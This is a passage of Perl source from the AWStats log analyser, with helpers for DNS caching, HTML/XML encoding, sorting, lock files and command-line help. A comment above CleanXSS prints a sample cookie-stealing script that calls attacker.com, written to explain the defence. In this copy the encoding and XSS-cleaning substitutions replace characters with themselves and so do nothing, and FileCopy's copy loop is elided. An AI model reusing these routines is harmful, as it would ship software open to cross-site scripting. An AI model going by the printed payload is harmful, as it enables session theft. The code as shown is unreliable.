#binmode DNSFILE; # If we set binmode here, it seems that the load is broken on ActiveState 5.8
# This is a fast way to load with regexp
%$hashtoload =
map( /^(?:\d{0,10}\s+)?([0-9A-F:\.]+)\s+([^\s]+)$/oi, <DNSFILE> );
close DNSFILE;
if ($savetohash) {
# Plugin call : Save hash file (all records) with test if up to date to save
if ( $PluginsLoaded{'SaveHash'}{'hashfiles'} ) {
SaveHash_hashfiles( $filetoload, $hashtoload, 1, 0 );
}
}
}
if ($Debug) {
debug(
" Loaded "
. ( scalar keys %$hashtoload )
. " items from $filetoload in "
. ( time() - $timetoload )
. " seconds.",
1
);
}
return 0;
}
#------------------------------------------------------------------------------
# Function: Save a memory hash array into a DNS cache file
# Parameters: Hash array ref to save,
# File name to save,
# File suffix to use
# Input: None
# Output: None
# Return: 0 OK, 1 Error
#------------------------------------------------------------------------------
sub Save_DNS_Cache_File {
my $hashtosave = shift;
my $dnscachefile = shift;
my $filesuffix = shift;
my $dnscacheext = '';
my $filetosave = '';
my $timetosave = time();
my $nbofelemtosave = $NBOFLASTUPDATELOOKUPTOSAVE;
my $nbofelemsaved = 0;
if ($Debug) {
debug("Call to Save_DNS_Cache_File [file=\"$dnscachefile\"]");
}
if ( !scalar keys %$hashtosave ) {
if ($Debug) { debug(" No data to save"); }
return 0;
}
if ( $dnscachefile =~ s/(\.\w+)$// ) { $dnscacheext = $1; }
$filetosave = "$dnscachefile$filesuffix$dnscacheext";
# Plugin call : Save hash file (only $NBOFLASTUPDATELOOKUPTOSAVE records) with no test if up to date
if ( $PluginsLoaded{'SaveHash'}{'hashfiles'} ) {
SaveHash_hashfiles( $filetosave, $hashtosave, 0, $nbofelemtosave,
$nbofelemsaved );
if ($SaveDatabaseFilesWithPermissionsForEveryone) {
chmod 0666, "$filetosave";
}
}
if ( !$nbofelemsaved ) {
$filetosave = "$dnscachefile$filesuffix$dnscacheext";
if ($Debug) {
debug(
" Save data "
. (
$nbofelemtosave
? "($nbofelemtosave records max)"
: "(all records)"
)
. " into file $filetosave"
);
}
if ( !open( DNSFILE, ">$filetosave" ) ) {
warning(
"Warning: Failed to open for writing last update DNS Cache file \"$filetosave\": $!"
);
return 1;
}
binmode DNSFILE;
my $starttimemin = int( $starttime / 60 );
foreach my $key ( keys %$hashtosave ) {
#if ($hashtosave->{$key} ne '*') {
my $ipsolved = $hashtosave->{$key};
print DNSFILE "$starttimemin\t$key\t"
. ( $ipsolved eq 'ip' ? '*' : $ipsolved )
. "\n"; # Change 'ip' to '*' for backward compatibility
if ( ++$nbofelemsaved >= $NBOFLASTUPDATELOOKUPTOSAVE ) { last; }
#}
}
close DNSFILE;
if ($SaveDatabaseFilesWithPermissionsForEveryone) {
chmod 0666, "$filetosave";
}
}
if ($Debug) {
debug(
" Saved $nbofelemsaved items into $filetosave in "
. ( time() - $timetosave )
. " seconds.",
1
);
}
return 0;
}
#------------------------------------------------------------------------------
# Function: Return time elapsed since last call in miliseconds
# Parameters: 0|1 (0 reset counter, 1 no reset)
# Input: None
# Output: None
# Return: Number of miliseconds elapsed since last call
#------------------------------------------------------------------------------
sub GetDelaySinceStart {
if (shift) { $StartSeconds = 0; } # Reset chrono
my ( $newseconds, $newmicroseconds ) = ( time(), 0 );
# Plugin call : Return seconds and milliseconds
if ( $PluginsLoaded{'GetTime'}{'timehires'} ) {
GetTime_timehires( $newseconds, $newmicroseconds );
}
if ( !$StartSeconds ) {
$StartSeconds = $newseconds;
$StartMicroseconds = $newmicroseconds;
}
return ( ( $newseconds - $StartSeconds ) * 1000 +
int( ( $newmicroseconds - $StartMicroseconds ) / 1000 ) );
}
#------------------------------------------------------------------------------
# Function: Reset all variables whose name start with _ because a new month start
# Parameters: None
# Input: $YearRequired All variables whose name start with _
# Output: All variables whose name start with _
# Return: None
#------------------------------------------------------------------------------
sub Init_HashArray {
if ($Debug) { debug("Call to Init_HashArray"); }
# Reset global hash arrays
%FirstTime = %LastTime = ();
%MonthHostsKnown = %MonthHostsUnknown = ();
%MonthVisits = %MonthUnique = ();
%MonthPages = %MonthHits = %MonthBytes = ();
%MonthNotViewedPages = %MonthNotViewedHits = %MonthNotViewedBytes = ();
%DayPages = %DayHits = %DayBytes = %DayVisits = ();
# Reset all arrays with name beginning by _
for ( my $ix = 0 ; $ix < 6 ; $ix++ ) {
$_from_p[$ix] = 0;
$_from_h[$ix] = 0;
}
for ( my $ix = 0 ; $ix < 24 ; $ix++ ) {
$_time_h[$ix] = 0;
$_time_k[$ix] = 0;
$_time_p[$ix] = 0;
$_time_nv_h[$ix] = 0;
$_time_nv_k[$ix] = 0;
$_time_nv_p[$ix] = 0;
}
# Reset all hash arrays with name beginning by _
%_session = %_browser_h = %_browser_p = ();
%_filesize = ();
%_domener_p = %_domener_h = %_domener_k = %_errors_h = %_errors_k = ();
%_filetypes_h = %_filetypes_k = %_filetypes_gz_in = %_filetypes_gz_out = ();
%_host_p = %_host_h = %_host_k = %_host_l = %_host_s = %_host_u = ();
%_waithost_e = %_waithost_l = %_waithost_s = %_waithost_u = ();
%_keyphrases = %_keywords = %_os_h = %_os_p = %_pagesrefs_p = %_pagesrefs_h =
%_robot_h = %_robot_k = %_robot_l = %_robot_r = ();
%_worm_h = %_worm_k = %_worm_l = %_login_p = %_login_h = %_login_k =
%_login_l = %_screensize_h = ();
%_misc_p = %_misc_h = %_misc_k = ();
%_cluster_p = %_cluster_h = %_cluster_k = ();
%_se_referrals_p = %_se_referrals_h = %_sider_h = %_referer_h = %_err_host_h =
%_url_p = %_url_k = %_url_e = %_url_x = ();
%_downloads = ();
%_unknownreferer_l = %_unknownrefererbrowser_l = ();
%_emails_h = %_emails_k = %_emails_l = %_emailr_h = %_emailr_k =
%_emailr_l = ();
for ( my $ix = 1 ; $ix < @ExtraName ; $ix++ ) {
%{ '_section_' . $ix . '_h' } = %{ '_section_' . $ix . '_o' } =
%{ '_section_' . $ix . '_k' } = %{ '_section_' . $ix . '_l' } =
%{ '_section_' . $ix . '_p' } = ();
}
foreach my $pluginname ( keys %{ $PluginsLoaded{'SectionInitHashArray'} } )
{
# my $function="SectionInitHashArray_$pluginname()";
# eval("$function");
my $function = "SectionInitHashArray_$pluginname";
&$function();
}
}
#------------------------------------------------------------------------------
# Function: Change word separators of a keyphrase string into space and
# remove bad coded chars
# Parameters: stringtodecode
# Input: None
# Output: None
# Return: decodedstring
#------------------------------------------------------------------------------
sub ChangeWordSeparatorsIntoSpace {
$_[0] =~ s/%0[ad]/ /ig; # LF CR
$_[0] =~ s/%2[02789abc]/ /ig; # space " ' ( ) * + ,
$_[0] =~ s/%3a/ /ig; # :
$_[0] =~
tr/\+\'\(\)\"\*,:/ /s; # "&" and "=" must not be in this list
}
#------------------------------------------------------------------------------
# Function: Transforms special chars by entities as needed in XML/XHTML
# Parameters: stringtoencode
# Return: encodedstring
#------------------------------------------------------------------------------
sub XMLEncode {
if ( $BuildReportFormat ne 'xhtml' && $BuildReportFormat ne 'xml' ) {
return shift;
}
my $string = shift;
$string =~ s/&/&/g;
$string =~ s/</</g;
$string =~ s/>/>/g;
$string =~ s/\"/"/g;
$string =~ s/\'/'/g;
return $string;
}
#------------------------------------------------------------------------------
# Function: Transforms spaces into %20 and special chars by HTML entities as needed in XML/XHTML
# Decoding is done by XMLDecodeFromHisto.
# AWStats data files are stored in ISO-8859-1.
# Parameters: stringtoencode
# Return: encodedstring
#------------------------------------------------------------------------------
sub XMLEncodeForHisto {
my $string = shift;
$string =~ s/\s/%20/g;
if ( $BuildHistoryFormat ne 'xml' ) { return $string; }
$string =~ s/=/%3d/g;
$string =~ s/&/&/g;
$string =~ s/</</g;
$string =~ s/>/>/g;
$string =~ s/\"/"/g;
$string =~ s/\'/'/g;
return $string;
}
#------------------------------------------------------------------------------
# Function: Encode an ISO string to PageCode output
# Parameters: stringtoencode
# Return: encodedstring
#------------------------------------------------------------------------------
sub EncodeToPageCode {
my $string = shift;
if ( $PageCode eq 'utf-8' ) { $string = encode( "utf8", $string ); }
return $string;
}
#------------------------------------------------------------------------------
# Function: Encode a binary string into an ASCII string
# Parameters: stringtoencode
# Return: encodedstring
#------------------------------------------------------------------------------
sub EncodeString {
my $string = shift;
# use bytes;
$string =~ s/([\x2B\x80-\xFF])/sprintf ("%%%2x", ord($1))/eg;
# no bytes;
$string =~ tr/ /+/s;
return $string;
}
#------------------------------------------------------------------------------
# Function: Decode an url encoded text string into a binary string
# Parameters: stringtodecode
# Input: None
# Output: None
# Return: decodedstring
#------------------------------------------------------------------------------
sub DecodeEncodedString {
my $stringtodecode = shift;
$stringtodecode =~ tr/\+/ /s;
$stringtodecode =~ s/%([A-F0-9][A-F0-9])/pack("C", hex($1))/ieg;
$stringtodecode =~ s/["']//g;
return $stringtodecode;
}
#------------------------------------------------------------------------------
# Function: Similar to DecodeEncodedString, but decode only
# RFC3986 "unreserved characters"
# Parameters: stringtodecode
# Input: None
# Output: None
# Return: decodedstring
#------------------------------------------------------------------------------
sub DecodeRFC3986UnreservedString {
my $stringtodecode = shift;
$stringtodecode =~ s/%([46][1-9A-F]|[57][0-9A]|3[0-9]|2D|2E|5F|7E)/pack("C", hex($1))/ieg;
return $stringtodecode;
}
#------------------------------------------------------------------------------
# Function: Decode a precompiled regex value to a common regex value
# Parameters: compiledregextodecode
# Input: None
# Output: None
# Return: standardregex
#------------------------------------------------------------------------------
sub UnCompileRegex {
shift =~ /\(\?[-^\w]*:(.*)\)/; # Works with all perl
# shift =~ /\(\?[-\w]*:(.*)\)/; < perl 5.14
return $1;
}
#------------------------------------------------------------------------------
# Function: Clean a string of all chars that are not char or _ - \ / . \s
# Parameters: stringtoclean, full
# Input: None
# Output: None
# Return: cleanedstring
#------------------------------------------------------------------------------
sub Sanitize {
my $stringtoclean = shift;
my $full = shift || 0;
if ($full) {
$stringtoclean =~ s/[^\w\d]//g;
}
else {
$stringtoclean =~ s/[^\w\d\-\\\/\.:\s]//g;
}
return $stringtoclean;
}
#------------------------------------------------------------------------------
# Function: Clean a string of HTML tags to avoid 'Cross Site Scripting attacks'
# and clean | char.
# A XSS attack is providing an AWStats url with XSS code that is executed
# when page loaded by awstats CGI is loaded from AWStats server. Such a code
# can be<script>document.write("<img src=http://attacker.com/page.php?" + document.cookie)</script>
# This make the browser sending a request to the attacker server that contains
# cookie used for AWStats server sessions. Attacker can this way caught this
# cookie and used it to go on AWStats server like original visitor. For this
# resaon, parameter received by AWStats must be sanitized by this function
# before being put inside a web page.
# Parameters: stringtoclean
# Input: None
# Output: None
# Return: cleanedstring
#------------------------------------------------------------------------------
sub CleanXSS {
my $stringtoclean = shift;
# To avoid html tags and javascript
$stringtoclean =~ s/</</g;
$stringtoclean =~ s/>/>/g;
$stringtoclean =~ s/|//g;
# To avoid onload="
$stringtoclean =~ s/onload//g;
return $stringtoclean;
}
#------------------------------------------------------------------------------
# Function: Clean tags in a string
# AWStats data files are stored in ISO-8859-1.
# Parameters: stringtodecode
# Input: None
# Output: None
# Return: decodedstring
#------------------------------------------------------------------------------
sub XMLDecodeFromHisto {
my $stringtoclean = shift;
$stringtoclean =~ s/$regclean1/ /g; # Replace <recnb> or </td> with space
$stringtoclean =~ s/$regclean2//g; # Remove others <xxx>
$stringtoclean =~ s/%3d/=/g;
$stringtoclean =~ s/&/&/g;
$stringtoclean =~ s/</</g;
$stringtoclean =~ s/>/>/g;
$stringtoclean =~ s/"/\"/g;
$stringtoclean =~ s/'/\'/g;
return $stringtoclean;
}
#------------------------------------------------------------------------------
# Function: Copy one file into another
# Parameters: sourcefilename targetfilename
# Input: None
# Output: None
# Return: 0 if copy is ok, 1 else
#------------------------------------------------------------------------------
sub FileCopy {
my $filesource = shift;
my $filetarget = shift;
if ($Debug) { debug( "FileCopy($filesource,$filetarget)", 1 ); }
open( FILESOURCE, "$filesource" ) || return 1;
open( FILETARGET, ">$filetarget" ) || return 1;
binmode FILESOURCE;
binmode FILETARGET;
# ...
close(FILETARGET);
close(FILESOURCE);
if ($Debug) { debug( " File copied", 1 ); }
return 0;
}
#------------------------------------------------------------------------------
# Function: Format a QUERY_STRING
# Parameters: query
# Input: None
# Output: None
# Return: formatted query
#------------------------------------------------------------------------------
# TODO Appeller cette fonction partout ou il y a des NewLinkParams
sub CleanNewLinkParamsFrom {
my $NewLinkParams = shift;
while ( my $param = shift ) {
$NewLinkParams =~ s/(^|&|&)$param(=[^&]*|$)//i;
}
$NewLinkParams =~ s/(&|&)+/&/i;
$NewLinkParams =~ s/^&//;
$NewLinkParams =~ s/&$//;
return $NewLinkParams;
}
#------------------------------------------------------------------------------
# Function: Show flags for other language translations
# Parameters: Current languade id (en, fr, ...)
# Input: None
# Output: None
# Return: None
#------------------------------------------------------------------------------
sub Show_Flag_Links {
my $CurrentLang = shift;
# Build flags link
my $NewLinkParams = $QueryString;
my $NewLinkTarget = '';
if ( $ENV{'GATEWAY_INTERFACE'} ) {
$NewLinkParams =
CleanNewLinkParamsFrom( $NewLinkParams,
( 'update', 'staticlinks', 'framename', 'lang' ) );
$NewLinkParams =~ s/(^|&|&)update(=\w*|$)//i;
$NewLinkParams =~ s/(^|&|&)staticlinks(=\w*|$)//i;
$NewLinkParams =~ s/(^|&|&)framename=[^&]*//i;
$NewLinkParams =~ s/(^|&|&)lang=[^&]*//i;
$NewLinkParams =~ s/(&|&)+/&/i;
$NewLinkParams =~ s/^&//;
$NewLinkParams =~ s/&$//;
if ($NewLinkParams) { $NewLinkParams = "${NewLinkParams}&"; }
if ( $FrameName eq 'mainright' ) {
$NewLinkTarget = " target=\"_parent\"";
}
}
else {
$NewLinkParams =
( $SiteConfig ? "config=$SiteConfig&" : "" )
. "year=$YearRequired&month=$MonthRequired&";
}
if ( $NewLinkParams !~ /output=/ ) { $NewLinkParams .= 'output=main&'; }
if ( $FrameName eq 'mainright' ) {
$NewLinkParams .= 'framename=index&';
}
foreach my $lng ( split( /\s+/, $ShowFlagLinks ) ) {
$lng =
$LangBrowserToLangAwstats{$lng}
? $LangBrowserToLangAwstats{$lng}
: $lng;
if ( $lng ne $CurrentLang ) {
my %lngtitle = (
'en', 'English', 'fr', 'French', 'de', 'German',
'it', 'Italian', 'nl', 'Dutch', 'es', 'Spanish'
);
my $lngtitle = ( $lngtitle{$lng} ? $lngtitle{$lng} : $lng );
my $flag = (
$LangAWStatsToFlagAwstats{$lng}
? $LangAWStatsToFlagAwstats{$lng}
: $lng
);
print "<a href=\""
. XMLEncode("$AWScript${NewLinkParams}lang=$lng")
. "\"$NewLinkTarget><img src=\"$DirIcons\/flags\/$flag.png\" height=\"14\" border=\"0\""
. AltTitle("$lngtitle")
. " /></a> \n";
}
}
}
#------------------------------------------------------------------------------
# Function: Format value in bytes in a string (Bytes, Kb, Mb, Gb)
# Parameters: bytes (integer value or "0.00")
# Input: None
# Output: None
# Return: "x.yz MB" or "x.yy KB" or "x Bytes" or "0"
#------------------------------------------------------------------------------
sub Format_Bytes {
my $bytes = shift || 0;
my $fudge = 1;
# Do not use exp/log function to calculate 1024power, function make segfault on some unix/perl versions
if ( $bytes >= ( $fudge << 40 ) ) {
return sprintf( "%.2f", $bytes / 1099511627776 ) . " $Message[180]";
}
if ( $bytes >= ( $fudge << 30 ) ) {
return sprintf( "%.2f", $bytes / 1073741824 ) . " $Message[110]";
}
if ( $bytes >= ( $fudge << 20 ) ) {
return sprintf( "%.2f", $bytes / 1048576 ) . " $Message[109]";
}
if ( $bytes >= ( $fudge << 10 ) ) {
return sprintf( "%.2f", $bytes / 1024 ) . " $Message[108]";
}
if ( $bytes < 0 ) { $bytes = "?"; }
return int($bytes) . ( int($bytes) ? " $Message[119]" : "" );
}
#------------------------------------------------------------------------------
# Function: Format a number with commas or any other separator
# CL: courtesy of http://www.perlmonks.org/?node_id=2145
# Parameters: number
# Input: None
# Output: None
# Return: "999,999,999,999"
#------------------------------------------------------------------------------
sub Format_Number {
my $number = shift || 0;
$number =~ s/(\d)(\d\d\d)$/$1 $2/;
$number =~ s/(\d)(\d\d\d\s\d\d\d)$/$1 $2/;
$number =~ s/(\d)(\d\d\d\s\d\d\d\s\d\d\d)$/$1 $2/;
my $separator = $Message[177];
if ($separator eq '') { $separator=' '; } # For backward compatibility
$number =~ s/ /$separator/g;
return $number;
}
#------------------------------------------------------------------------------
# Function: Return " alt=string title=string"
# Parameters: string
# Input: None
# Output: None
# Return: "alt=string title=string"
#------------------------------------------------------------------------------
sub AltTitle {
my $string = shift || '';
return " alt='$string' title='$string'";
# return " alt=\"$string\" title=\"$string\"";
# return ($BuildReportFormat?"":" alt=\"$string\"")." title=\"$string\"";
}
#------------------------------------------------------------------------------
# Function: Tell if an email is a local or external email
# Parameters: email
# Input: $SiteDomain(exact string) $HostAliases(quoted regex string)
# Output: None
# Return: -1, 0 or 1
#------------------------------------------------------------------------------
sub IsLocalEMail {
my $email = shift || 'unknown';
if ( $email !~ /\@(.*)$/ ) { return 0; }
my $domain = $1;
if ( $domain =~ /^$SiteDomain$/i ) { return 1; }
foreach (@HostAliases) {
if ( $domain =~ /$_/ ) { return 1; }
}
return -1;
}
#------------------------------------------------------------------------------
# Function: Format a date according to Message[78] (country date format)
# Parameters: String date YYYYMMDDHHMMSS
# Option 0=LastUpdate and LastTime date
# 1=Arrays date except daymonthvalues
# 2=daymonthvalues date (only year month and day)
# Input: $Message[78]
# Output: None
# Return: Date with format defined by Message[78] and option
#------------------------------------------------------------------------------
sub Format_Date {
my $date = shift;
my $option = shift || 0;
my $year = substr( "$date", 0, 4 );
my $month = substr( "$date", 4, 2 );
my $day = substr( "$date", 6, 2 );
my $hour = substr( "$date", 8, 2 );
my $min = substr( "$date", 10, 2 );
my $sec = substr( "$date", 12, 2 );
my $dateformat = $Message[78];
if ( $option == 2 ) {
$dateformat =~ s/^[^ymd]+//g;
$dateformat =~ s/[^ymd]+$//g;
}
$dateformat =~ s/yyyy/$year/g;
$dateformat =~ s/yy/$year/g;
$dateformat =~ s/mmm/$MonthNumLib{$month}/g;
$dateformat =~ s/mm/$month/g;
$dateformat =~ s/dd/$day/g;
$dateformat =~ s/HH/$hour/g;
$dateformat =~ s/MM/$min/g;
$dateformat =~ s/SS/$sec/g;
return "$dateformat";
}
#------------------------------------------------------------------------------
# Function: Return 1 if string contains only ascii chars
# Parameters: string
# Input: None
# Output: None
# Return: 0 or 1
#------------------------------------------------------------------------------
sub IsAscii {
my $string = shift;
if ($Debug) { debug( "IsAscii($string)", 5 ); }
if ( $string =~ /^[\w\+\-\/\\\.%,;:=\"\'&?!\s]+$/ ) {
if ($Debug) { debug( " Yes", 6 ); }
return
1
; # Only alphanum chars (and _) or + - / \ . % , ; : = " ' & ? space \t
}
if ($Debug) { debug( " No", 6 ); }
return 0;
}
#------------------------------------------------------------------------------
# Function: Return the lower value between 2 but exclude value if 0
# Parameters: Val1 and Val2
# Input: None
# Output: None
# Return: min(Val1,Val2)
#------------------------------------------------------------------------------
sub MinimumButNoZero {
my ( $val1, $val2 ) = @_;
return ( $val1 && ( $val1 < $val2 || !$val2 ) ? $val1 : $val2 );
}
#------------------------------------------------------------------------------
# Function: Add a val from sorting tree
# Parameters: keytoadd keyval [firstadd]
# Input: None
# Output: None
# Return: None
#------------------------------------------------------------------------------
sub AddInTree {
my $keytoadd = shift;
my $keyval = shift;
my $firstadd = shift || 0;
if ( $firstadd == 1 ) { # Val is the first one
if ($Debug) { debug( " firstadd", 4 ); }
$val{$keyval} = $keytoadd;
$lowerval = $keyval;
if ($Debug) {
debug(
" lowerval=$lowerval, nb elem val="
. ( scalar keys %val )
. ", nb elem egal="
. ( scalar keys %egal ) . ".",
4
);
}
return;
}
if ( $val{$keyval} ) { # Val is already in tree
if ($Debug) { debug( " val is already in tree", 4 ); }
$egal{$keytoadd} = $val{$keyval};
$val{$keyval} = $keytoadd;
if ($Debug) {
debug(
" lowerval=$lowerval, nb elem val="
. ( scalar keys %val )
. ", nb elem egal="
. ( scalar keys %egal ) . ".",
4
);
}
return;
}
if ( $keyval <= $lowerval )
{ # Val is a new one lower (should happens only when tree is not full)
if ($Debug) {
debug(
" keytoadd val=$keyval is lower or equal to lowerval=$lowerval",
4
);
}
$val{$keyval} = $keytoadd;
$nextval{$keyval} = $lowerval;
$lowerval = $keyval;
if ($Debug) {
debug(
" lowerval=$lowerval, nb elem val="
. ( scalar keys %val )
. ", nb elem egal="
. ( scalar keys %egal ) . ".",
4
);
}
return;
}
# Val is a new one higher
if ($Debug) {
debug( " keytoadd val=$keyval is higher than lowerval=$lowerval", 4 );
}
$val{$keyval} = $keytoadd;
my $valcursor = $lowerval; # valcursor is value just before keyval
while ( $nextval{$valcursor} && ( $nextval{$valcursor} < $keyval ) ) {
$valcursor = $nextval{$valcursor};
}
if ( $nextval{$valcursor} )
{ # keyval is between valcursor and nextval{valcursor}
$nextval{$keyval} = $nextval{$valcursor};
}
$nextval{$valcursor} = $keyval;
if ($Debug) {
debug(
" lowerval=$lowerval, nb elem val="
. ( scalar keys %val )
. ", nb elem egal="
. ( scalar keys %egal ) . ".",
4
);
}
}
#------------------------------------------------------------------------------
# Function: Remove a val from sorting tree
# Parameters: None
# Input: $lowerval %val %egal
# Output: None
# Return: None
#------------------------------------------------------------------------------
sub Removelowerval {
my $keytoremove = $val{$lowerval}; # This is lower key
if ($Debug) {
debug( " remove for lowerval=$lowerval: key=$keytoremove", 4 );
}
if ( $egal{$keytoremove} ) {
$val{$lowerval} = $egal{$keytoremove};
delete $egal{$keytoremove};
}
else {
delete $val{$lowerval};
$lowerval = $nextval{$lowerval}; # Set new lowerval
}
if ($Debug) {
debug(
" new lower value=$lowerval, val size="
. ( scalar keys %val )
. ", egal size="
. ( scalar keys %egal ),
4
);
}
}
#------------------------------------------------------------------------------
# Function: Build @keylist array
# Parameters: Size max for @keylist array,
# Min value in hash for select,
# Hash used for select,
# Hash used for order
# Input: None
# Output: None
# Return: @keylist response array
#------------------------------------------------------------------------------
sub BuildKeyList {
my $ArraySize = shift || error(
"System error. Call to BuildKeyList function with incorrect value for first param",
"", "", 1
);
my $MinValue = shift || error(
"System error. Call to BuildKeyList function with incorrect value for second param",
"", "", 1
);
my $hashforselect = shift;
my $hashfororder = shift;
if ($Debug) {
debug(
" BuildKeyList($ArraySize,$MinValue,$hashforselect with size="
. ( scalar keys %$hashforselect )
. ",$hashfororder with size="
. ( scalar keys %$hashfororder ) . ")",
3
);
}
delete $hashforselect->{ ''
}; # Those is to protect from infinite loop when hash array has an incorrect null key
my $count = 0;
$lowerval = 0; # Global because used in AddInTree and Removelowerval
%val = ();
%nextval = ();
%egal = ();
foreach my $key ( keys %$hashforselect ) {
if ( $count < $ArraySize ) {
if ( $hashforselect->{$key} >= $MinValue ) {
$count++;
if ($Debug) {
debug(
" Add in tree entry $count : $key (value="
. ( $hashfororder->{$key} || 0 )
. ", tree not full)",
4
);
}
AddInTree( $key, $hashfororder->{$key} || 0, $count );
}
next;
}
$count++;
if ( ( $hashfororder->{$key} || 0 ) <= $lowerval ) { next; }
if ($Debug) {
debug(
" Add in tree entry $count : $key (value="
. ( $hashfororder->{$key} || 0 )
. " > lowerval=$lowerval)",
4
);
}
AddInTree( $key, $hashfororder->{$key} || 0 );
if ($Debug) { debug( " Removelower in tree", 4 ); }
Removelowerval();
}
# Build key list and sort it
if ($Debug) {
debug(
" Build key list and sort it. lowerval=$lowerval, nb elem val="
. ( scalar keys %val )
. ", nb elem egal="
. ( scalar keys %egal ) . ".",
3
);
}
my %notsortedkeylist = ();
foreach my $key ( values %val ) { $notsortedkeylist{$key} = 1; }
foreach my $key ( values %egal ) { $notsortedkeylist{$key} = 1; }
@keylist = ();
@keylist = (
sort { ( $hashfororder->{$b} || 0 ) <=> ( $hashfororder->{$a} || 0 ) }
keys %notsortedkeylist
);
if ($Debug) {
debug( " BuildKeyList End (keylist size=" . (@keylist) . ")", 3 );
}
return;
}
#------------------------------------------------------------------------------
# Function: Lock or unlock update
# Parameters: status (1 to lock, 0 to unlock)
# Input: $DirLock (if status=0) $PROG $FileSuffix
# Output: $DirLock (if status=1)
# Return: None
#------------------------------------------------------------------------------
sub Lock_Update {
my $status = shift;
my $lock = "$PROG$FileSuffix.lock";
if ($status) {
# We stop if there is at least one lock file wherever it is
foreach my $key ( $ENV{"TEMP"}, $ENV{"TMP"}, "/tmp", "/", "." ) {
my $newkey = $key;
$newkey =~ s/[\\\/]$//;
if ( -f "$newkey/$lock" ) {
error(
"An AWStats update process seems to be already running for this config file. Try later.\nIf this is not true, remove manually lock file '$newkey/$lock'.",
"", "", 1
);
}
}
# Set lock where we can
foreach my $key ( $ENV{"TEMP"}, $ENV{"TMP"}, "/tmp", "/", "." ) {
if ( !-d "$key" ) { next; }
$DirLock = $key;
$DirLock =~ s/[\\\/]$//;
if ($Debug) { debug("Update lock file $DirLock/$lock is set"); }
open( LOCK, ">$DirLock/$lock" )
|| error( "Failed to create lock file $DirLock/$lock", "", "",
1 );
print LOCK
"AWStats update started by process $$ at $nowyear-$nowmonth-$nowday $nowhour:$nowmin:$nowsec\n";
close(LOCK);
last;
}
}
else {
# Remove lock
if ($Debug) { debug("Update lock file $DirLock/$lock is removed"); }
unlink("$DirLock/$lock");
}
return;
}
#------------------------------------------------------------------------------
# Function: Signal handler to call Lock_Update to remove lock file
# Parameters: Signal name
# Input: None
# Output: None
# Return: None
#------------------------------------------------------------------------------
sub SigHandler {
my $signame = shift;
print ucfirst($PROG) . " process (ID $$) interrupted by signal $signame.\n";
&Lock_Update(0);
exit 1;
}
#------------------------------------------------------------------------------
# Function: Convert an IPAddress into an integer
# Parameters: IPAddress
# Input: None
# Output: None
# Return: Int
#------------------------------------------------------------------------------
sub Convert_IP_To_Decimal {
my ($IPAddress) = @_;
my @ip_seg_arr = split( /\./, $IPAddress );
my $decimal_ip_address =
256 * 256 * 256 * $ip_seg_arr[0] + 256 * 256 * $ip_seg_arr[1] + 256 *
$ip_seg_arr[2] + $ip_seg_arr[3];
return ($decimal_ip_address);
}
#------------------------------------------------------------------------------
# Function: Test there is at least one value in list not null
# Parameters: List of values
# Input: None
# Output: None
# Return: 1 There is at least one not null value, 0 else
#------------------------------------------------------------------------------
sub AtLeastOneNotNull {
if ($Debug) {
debug( " Call to AtLeastOneNotNull (" . join( '-', @_ ) . ")", 3 );
}
foreach my $val (@_) {
if ($val) { return 1; }
}
return 0;
}
#------------------------------------------------------------------------------
# Function: Prints the command line interface help information
# Parameters: None
# Input: None
# Output: None
# Return: None
#------------------------------------------------------------------------------
sub PrintCLIHelp{
&Read_Ref_Data(
'browsers', 'domains', 'operating_systems', 'robots',
'search_engines', 'worms'
);
print "----- $PROG $VERSION (c) 2000-2018 Laurent Destailleur -----\n";
print
"AWStats is a free web server logfile analyzer to show you advanced web\n";
print "statistics.\n";
print
"AWStats comes with ABSOLUTELY NO WARRANTY. It's a free software distributed\n";
print "with a GNU General Public License (See LICENSE file for details).\n";
print "\n";
print "Syntax: $PROG.$Extension -config=virtualhostname [options]\n";
print "\n";
print
" This runs $PROG in command line to update statistics (-update option) of a\n";
print
" web site, from the log file defined in AWStats config file, or build a HTML\n";
print " report (-output option).\n";
print
" First, $PROG tries to read $PROG.virtualhostname.conf as the config file.\n";
print " If not found, $PROG tries to read $PROG.conf, and finally the full path passed to -config=\n";
print
" Note 1: Config files ($PROG.virtualhostname.conf or $PROG.conf) must be\n";
print
" in /etc/awstats, /usr/local/etc/awstats, /etc or same directory than\n";
print " awstats.pl script file.\n";
print
" Note 2: If AWSTATS_FORCE_CONFIG environment variable is defined, AWStats will\n";
print
" use it as the \"config\" value, whatever is the value on command line or URL.\n";
print " See AWStats documentation for all setup instrutions.\n";
print "\n";
print "Options to update statistics:\n";
print " -update to update statistics (default)\n";
print
" -showsteps to add benchmark information every $NBOFLINESFORBENCHMARK lines processed\n";
print
" -showcorrupted to add output for each corrupted lines found, with reason\n";
print
" -showdropped to add output for each dropped lines found, with reason\n";
print " -showunknownorigin to output referer when it can't be parsed\n";
print
" -showdirectorigin to output log line when origin is a direct access\n";
print " -updatefor=n to stop the update process after parsing n lines\n";
print
" -LogFile=x to change log to analyze whatever is 'LogFile' in config file\n";
print
" Be care to process log files in chronological order when updating statistics.\n";
print "\n";
print "Options to show statistics:\n";
print
" -output to output main HTML report (no update made except with -update)\n";
print " -output=x to output other report pages where x is:\n";
print
" alldomains to build page of all domains/countries\n";
print " allhosts to build page of all hosts\n";
print
" lasthosts to build page of last hits for hosts\n";
print
" unknownip to build page of all unresolved IP\n";
print
" allemails to build page of all email senders (maillog)\n";
print
" lastemails to build page of last email senders (maillog)\n";
print
" allemailr to build page of all email receivers (maillog)\n";
print
" lastemailr to build page of last email receivers (maillog)\n";
print " alllogins to build page of all logins used\n";
print
" lastlogins to build page of last hits for logins\n";
print
" allrobots to build page of all robots/spider visits\n";
print
" lastrobots to build page of last hits for robots\n";
print " urldetail to list most often viewed pages \n";
print
" urldetail:filter to list most often viewed pages matching filter\n";
print " urlentry to list entry pages\n";
print
" urlentry:filter to list entry pages matching filter\n";
print " urlexit to list exit pages\n";
print
" urlexit:filter to list exit pages matching filter\n";
print
" osdetail to build page with os detailed versions\n";
print
" browserdetail to build page with browsers detailed versions\n";
print
" unknownbrowser to list 'User Agents' with unknown browser\n";
print
" unknownos to list 'User Agents' with unknown OS\n";
print
" refererse to build page of all refering search engines\n";
print
" refererpages to build page of all refering pages\n";
#print " referersites to build page of all refering sites\n";
print
" keyphrases to list all keyphrases used on search engines\n";
print
" keywords to list all keywords used on search engines\n";
print " errors404 to list 'Referers' for 404 errors\n";
print
" allextraX to build page of all values for ExtraSection X\n";
print " -staticlinks to have static links in HTML report page\n";
print " -staticlinksext=xxx to have static links with .xxx extension instead of .html\n";
print
